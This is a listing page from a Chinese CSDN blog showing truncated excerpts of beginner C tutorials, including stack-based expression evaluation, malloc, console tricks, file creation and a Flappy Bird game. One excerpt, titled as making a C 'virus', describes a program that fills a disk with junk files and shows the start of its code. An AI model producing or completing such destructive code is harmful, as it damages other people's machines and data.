C
ZouHuiDong
这个作者很懒,什么都没留下…
展开
-
C语言char的大小写转换
方法1:需要头文件:#include <string.h>在C语言中,每一个常用字符都有一个对应的ASCII值,大写字母A~Z对应的ASCII为65~90,小写字母a~z对应的ASCII值为97~122。大写字母与小写字母的ASCII值相差32,所有可以这样实现大写字母与小写字母的转换。int nLen;//存储长度char ch[100];//char变量gets(...原创 2019-05-02 21:06:56 · 10770 阅读 · 0 评论 -
C语言函数如何返回字符串
有些时候我们需要函数返回一个字符串但是总不能定义一个字符串函数吧?所以,这里介绍几种方法让函数返回字符串。方法一:全局变量全局变量是最简单的方法,如例子:#include <stdio.h>char chName[20];void DoName()//使用全局变量的话就不必要设定函数类型了{ //对chName的操作 ... return;}int ma...原创 2019-05-23 21:06:43 · 10812 阅读 · 0 评论 -
C语言利用栈计算算式(表达式)
一般普通计算器都是计算两个数相乘,除,加,减,即时计算出答案,而并不能实现输入一个简单数学算式并进行计算得出结果。对于很多人来说,没有合适的方法计算一个算式,那么我们其实也可以通过栈来实现计算算式。通过栈来实现?PS:如何实现模拟栈 https://blog.csdn.net/ZouHuiDong/article/details/90343026假如我们有一个算式:20 - 5 + 12 ...原创 2019-08-11 18:33:38 · 10486 阅读 · 0 评论 -
C语言无缘无故提示缺少分号:missing ';' before identifier '...'
有的时候代码没问题,稍作改动,就编译提示缺少分号:missing ';' before identifier '...'仔细检查代码,发现没有问题,在这种情况下,通常不是分号的问题,而是其他错误。例如说:BOOL Right_Sz(char *Sw){ return FALSE;}前后的代码是确认没有问题的,但是加上这段代码就编译错误:--------------------C...原创 2019-05-22 20:40:40 · 28726 阅读 · 0 评论 -
C语言如何动态分配空间:malloc
一般的变量在定义是就要确定大小,但是有的时候不知道用户的需要,就比如说排序,你不知道用户想要给几个数排序,所以为了保险起见往往是定义一个很大的变量,而实际上用户可能只需要给5个数排序,你却int k[1024];来存放要排序的数,造成极大的浪费。这里介绍一个函数用于动态分配空间:malloc如何使用malloc原型extern void *malloc(unsigned int num_by...原创 2019-05-21 21:21:09 · 5556 阅读 · 0 评论 -
C语言如何实现模拟栈
栈是先进后出的一种存储类型,很常见也很常用。用C语言实现一个栈很简单,只需要一个数组和一个int变量就可以了。一个简单的栈需要什么一个char型数组——用于模拟栈一个int变量——用于保存栈顶的位置char Value[12];//一个大小为12的栈int Head;//用于保存栈顶的位置实现简单的操作实现在栈顶添加值实现提取(删去)栈顶的值要添加值,只需要在栈顶加入...原创 2019-05-19 15:21:36 · 3737 阅读 · 0 评论 -
C语言程序自定义ico图标和标题
C语言的程序图标默认都是跟CMD一样的,标题就是程序路径。为了使程序更加个性化,美观,可以按自己的需要自定义图标和标题。自定义图标所用材料VC6.0ico图片一张PS:在线图片转ICO https://cn.office-converter.com/Free-Online-ICO-Convert首先:在上方工具栏中选择添加资源。在弹出的对话框中选择BitMap选项,然后点I...原创 2019-05-18 22:16:06 · 4713 阅读 · 0 评论 -
用C语言制作Fly bird飞鸟游戏
制作思路:鸟每隔一段时间下降一格按空格键使鸟跳跃出现障碍(墙),障碍中间有空隙使鸟通过墙会向鸟这边移动判断鸟是否撞墙,撞墙死亡,没撞继续无限循环随机出现墙原版游戏:用C制作出来的效果:全部代码:#include <stdio.h>#include <stdlib.h>#include <conio.h>#include <...原创 2019-05-04 21:17:54 · 3614 阅读 · 1 评论 -
C语言使用时间创建随机数
经常我们可能会用到随机数,制造随机数的方法除了rand还有就是利用时间,本文介绍如何使用时间创造随机数使用秒创建随机数//获取时间SYSTEMTIME sys;GetLocalTime(&sys); char time[64]={0};int ntime; sprintf(time,"%02d",sys.wSecond); ntime = atoi(time);//使用...原创 2019-05-04 21:04:49 · 3799 阅读 · 0 评论 -
C语言获取本地时间
获取时间SYSTEMTIME sys;GetLocalTime(&sys);//定义两个存储时间但不同类型的变量char time[64]={0};int ntime;//获取时间(因为太长所以这里换了行)sprintf(time,"%4d/%02d/%02d %02d:%02d:%02d 星期%03d",sys.wYear,sys.wMonth,sys.wDay,sy...原创 2019-05-04 20:16:45 · 622 阅读 · 0 评论 -
C语言如何隐藏光标
在用C语言制作动画,游戏或其他需要大量用到清屏指令的程序时,光标会闪烁不停,十分干扰视线,但是只要隐藏光标就可以让体验更佳许多。隐藏光标代码://定义隐藏光标函数void HideCursor(){ CONSOLE_CURSOR_INFO cursor; cursor.bVisible = FALSE; cursor.dwSize = sizeof(cursor); ...原创 2019-05-04 19:42:29 · 13873 阅读 · 2 评论 -
C语言如何控制控制台窗口大小
控制控制台窗口大小如下代码:system("mode con cols=30 lines=20");或者使用变量:char chCmd[32];sprintf(chCmd,"mode con cols=%d lines=%d",height,width);system(stCmd);原创 2019-05-04 12:45:40 · 16190 阅读 · 2 评论 -
C语言如何捕获按下方向键
最近做一个小游戏,用方向键来操控物体,于是分享一下C语言中如何捕获方向键的按下。因为方向键上下左右对应的ASCII码是72,80,75,77,所以我们可以以此判断按下的是不是方向键。void move()//定义一个判断按下按键的函数{ char chInput;//定义一个char型变量存储按下按键的值 if(kbhit())//如果有按键按下 { chInput = getch...原创 2019-05-04 10:56:17 · 4472 阅读 · 1 评论 -
如何用C语言打印出ASCII码表
当一个int型变量需要以数字形式打印出来的时候,就用%d;需要以字符形式打印出来的时候,就用%c,故此我们可以打印出ASCII码表int i;for(i = 0;i <=127;i++){ printf("%d %c \n",i,i);//逐个打印出0-127的ASCII码及其对应的字符}效果:...原创 2019-05-03 14:41:45 · 18100 阅读 · 3 评论 -
C语言如何用fopen创建可读写txt
如何创建一个txt文档?注意:添加stdio.h首先创建一个变量*fp用于操作:FILE *fp;然后用fopen创建文件:fp=fopen("d:\\test.txt","wb");其中wb是其中一种模式,还有很多种:PS:参数介绍来自https://blog.csdn.net/sdujava2011/article/details/68065592r 打开只读文件,该文件...原创 2019-05-03 11:36:52 · 7399 阅读 · 0 评论 -
C语言病毒制作
这里介绍一种C语言病毒,原理就是不断产生垃圾文件破坏你的电脑磁盘。注意!仅供学习和参考,严禁传播病毒! FILE *fp; char SW[1024]={"9795b9323f11551250e12e0bc74a21735c71e3409795b9323f11551250e12e0bc74a21735c71e340"};//垃圾信息 char szPath[120];//存储路径和文...原创 2019-05-02 21:41:00 · 2463 阅读 · 3 评论 -
简单的制作一个动态链接库(DLL)
什么是静态链接库,动态链接库?静态链接库是一个lib文件,动态链接库是一个dll文件。他们都是把一个或多个函数,代码封装起来,所形成的一个文件。为什么需要用链接库呢?因为有的时候,像是一个大的项目,他有许多各类的功能模块,但是这些功能很庞大,不方便修改。那么如果用链接库的话,每个模块做成一个链接库,就相当于每个模块都做成函数封装起来,然后可以在主程序中调用这些链接库,相当于调用函数,就实现了...原创 2019-08-21 16:12:34 · 1851 阅读 · 0 评论